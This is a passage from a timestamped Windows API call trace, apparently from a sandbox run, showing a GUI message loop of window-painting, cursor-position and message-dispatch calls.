hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0280.708] IsIconic (hWnd=0xc0060) returned 0 [0280.709] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0280.709] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0280.709] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0280.709] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0280.709] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7, wParam=0x10340, lParam=0x0) returned 0x1 [0280.709] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0280.709] GetSysColor (nIndex=8) returned 0x0 [0280.709] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0280.709] GetSysColor (nIndex=5) returned 0xffffff [0280.709] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0280.709] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f304 | out: lpdwProcessId=0x18f304) returned 0x8cc [0280.709] GetCurrentProcessId () returned 0x8d0 [0280.710] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0280.710] GetFocus () returned 0x1035c [0280.710] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0280.710] GetKeyState (nVirtKey=18) returned 1 [0280.710] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.710] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.710] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.710] IsIconic (hWnd=0x2024a) returned 0 [0280.710] GetFocus () returned 0x1035c [0280.710] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.710] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0280.710] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=882, y=507)) returned 1 [0280.710] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0280.710] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0280.710] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0280.710] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0280.710] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0280.710] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0280.711] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.711] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.711] GetCapture () returned 0x0 [0280.711] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0280.711] WindowFromPoint (Point=0x372) returned 0x1035a [0280.711] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0280.711] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0280.711] GetCurrentProcessId () returned 0x8d0 [0280.711] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.711] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0280.711] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xae0173) returned 0x0 [0280.711] GetKeyState (nVirtKey=18) returned 1 [0280.711] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.711] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.711] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0280.711] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.711] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0280.711] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0280.711] GetSysColor (nIndex=8) returned 0x0 [0280.711] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0280.711] GetSysColor (nIndex=5) returned 0xffffff [0280.711] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0280.715] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0280.715] FillRect (hDC=0xa010b6a, lprc=0x18f41c, hbr=0xe100186) returned 1 [0280.715] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0xa010b6a, lParam=0x4) returned 0x0 [0280.715] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0280.715] FillRect (hDC=0x3501018c, lprc=0x18f41c, hbr=0xe100186) returned 1 [0280.716] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3501018c, lParam=0x4) returned 0x0 [0280.716] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f8b4 | out: lpRect=0x18f8b4) returned 1 [0280.716] FillRect (hDC=0x2a010b57, lprc=0x18f8b4, hbr=0x2f100178) returned 1 [0280.716] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x29010ba3, lParam=0x1035c) returned 0x2f100178 [0280.716] GetSysColor (nIndex=8) returned 0x0 [0280.716] SetTextColor (hdc=0x29010ba3, color=0x0) returned 0x0 [0280.716] GetSysColor (nIndex=5) returned 0xffffff [0280.716] SetBkColor (hdc=0x29010ba3, color=0xffffff) returned 0xffffff [0280.717] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.717] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.717] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.717] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.717] IsIconic (hWnd=0xc0060) returned 0 [0280.717] IsIconic (hWnd=0xc0060) returned 0 [0280.717] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0280.717] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0280.718] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0280.718] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0280.718] GetSysColor (nIndex=8) returned 0x0 [0280.718] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0280.718] GetSysColor (nIndex=15) returned 0xf0f0f0 [0280.718] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0280.718] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0280.718] GetCurrentProcessId () returned 0x8d0 [0280.718] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0280.718] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0280.718] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0280.718] GetCurrentProcessId () returned 0x8d0 [0280.718] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0280.718] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0280.718] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0280.718] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0280.718] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0280.720] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.720] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.720] WindowFromPoint (Point=0x370) returned 0x1035a [0280.720] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fe0370) returned 0x1 [0280.720] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.720] GetCurrentProcessId () returned 0x8d0 [0280.720] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.720] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.720] GetCapture () returned 0x0 [0280.720] WaitMessage () returned 1 [0280.766] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.766] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.766] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.766] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.766] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x58040ba2, lParam=0x0) returned 0x1 [0280.766] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0280.766] GetSysColor (nIndex=8) returned 0x0 [0280.766] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0280.766] GetSysColor (nIndex=5) returned 0xffffff [0280.766] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0280.767] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.767] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.767] WindowFromPoint (Point=0x372) returned 0x1035a [0280.767] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0280.767] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.767] GetCurrentProcessId () returned 0x8d0 [0280.767] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.767] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.767] GetCapture () returned 0x0 [0280.767] WaitMessage () returned 1 [0280.781] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.781] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.781] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.781] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.782] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.782] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.782] WindowFromPoint (Point=0x372) returned 0x1035a [0280.782] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fc0372) returned 0x1 [0280.782] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.782] GetCurrentProcessId () returned 0x8d0 [0280.782] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.782] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.782] GetCapture () returned 0x0 [0280.782] WaitMessage () returned 1 [0280.827] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.827] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.827] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.827] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.828] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x2e040ba4, lParam=0x0) returned 0x1 [0280.828] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0280.828] GetSysColor (nIndex=8) returned 0x0 [0280.828] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0280.828] GetSysColor (nIndex=5) returned 0xffffff [0280.828] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0280.828] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.828] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.828] WindowFromPoint (Point=0x359) returned 0x1035a [0280.828] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1ef0359) returned 0x1 [0280.828] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.829] GetCurrentProcessId () returned 0x8d0 [0280.829] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.829] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.829] GetCapture () returned 0x0 [0280.829] WaitMessage () returned 1 [0280.842] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.842] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.842] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.842] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.842] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.842] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.843] WindowFromPoint (Point=0x372) returned 0x1035a [0280.843] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0280.843] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.843] GetCurrentProcessId () returned 0x8d0 [0280.843] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.843] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.843] GetCapture () returned 0x0 [0280.843] WaitMessage () returned 1 [0280.889] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.889] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.889] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.889] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.889] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x32040b6d, lParam=0x0) returned 0x1 [0280.889] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0280.890] GetSysColor (nIndex=8) returned 0x0 [0280.890] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0280.890] GetSysColor (nIndex=5) returned 0xffffff [0280.890] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0280.890] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.890] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.890] WindowFromPoint (Point=0x372) returned 0x1035a [0280.891] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fd0372) returned 0x1 [0280.891] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.891] GetCurrentProcessId () returned 0x8d0 [0280.891] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.891] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.891] GetCapture () returned 0x0 [0280.891] WaitMessage () returned 1 [0280.904] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.904] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.904] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.904] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.904] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.904] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.905] WindowFromPoint (Point=0x372) returned 0x1035a [0280.905] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0280.905] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.905] GetCurrentProcessId () returned 0x8d0 [0280.905] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.905] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.905] GetCapture () returned 0x0 [0280.905] WaitMessage () returned 1 [0280.968] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0280.968] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0280.968] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0280.968] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.968] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0280.968] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0280.968] WindowFromPoint (Point=0x370) returned 0x1035a [0280.969] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0370) returned 0x1 [0280.969] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0280.969] GetCurrentProcessId () returned 0x8d0 [0280.969] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0280.969] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0280.969] GetCapture () returned 0x0 [0280.969] WaitMessage () returned 1 [0281.015] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.015] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.015] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.015] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.015] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.015] WindowFromPoint (Point=0x373) returned 0x1035a [0281.015] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2020373) returned 0x1 [0281.015] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.015] GetCurrentProcessId () returned 0x8d0 [0281.015] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.015] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.016] GetCapture () returned 0x0 [0281.016] WaitMessage () returned 1 [0281.028] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.028] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.028] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.028] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.029] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.029] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.029] WindowFromPoint (Point=0x372) returned 0x1035a [0281.029] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.029] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.029] GetCurrentProcessId () returned 0x8d0 [0281.029] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.029] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.029] GetCapture () returned 0x0 [0281.029] WaitMessage () returned 1 [0281.095] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.095] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.095] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.095] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.095] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.095] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.096] WindowFromPoint (Point=0x374) returned 0x1035a [0281.096] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0374) returned 0x1 [0281.096] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.096] GetCurrentProcessId () returned 0x8d0 [0281.096] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.096] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.096] GetCapture () returned 0x0 [0281.096] WaitMessage () returned 1 [0281.160] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.160] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.160] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.160] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.161] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.161] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.161] WindowFromPoint (Point=0x372) returned 0x1035a [0281.161] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.161] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.161] GetCurrentProcessId () returned 0x8d0 [0281.161] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.161] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.161] GetCapture () returned 0x0 [0281.161] WaitMessage () returned 1 [0281.224] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.224] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.224] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.225] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.225] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.225] WindowFromPoint (Point=0x373) returned 0x1035a [0281.225] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f80373) returned 0x1 [0281.225] GetWindowThreadProcessId (in: 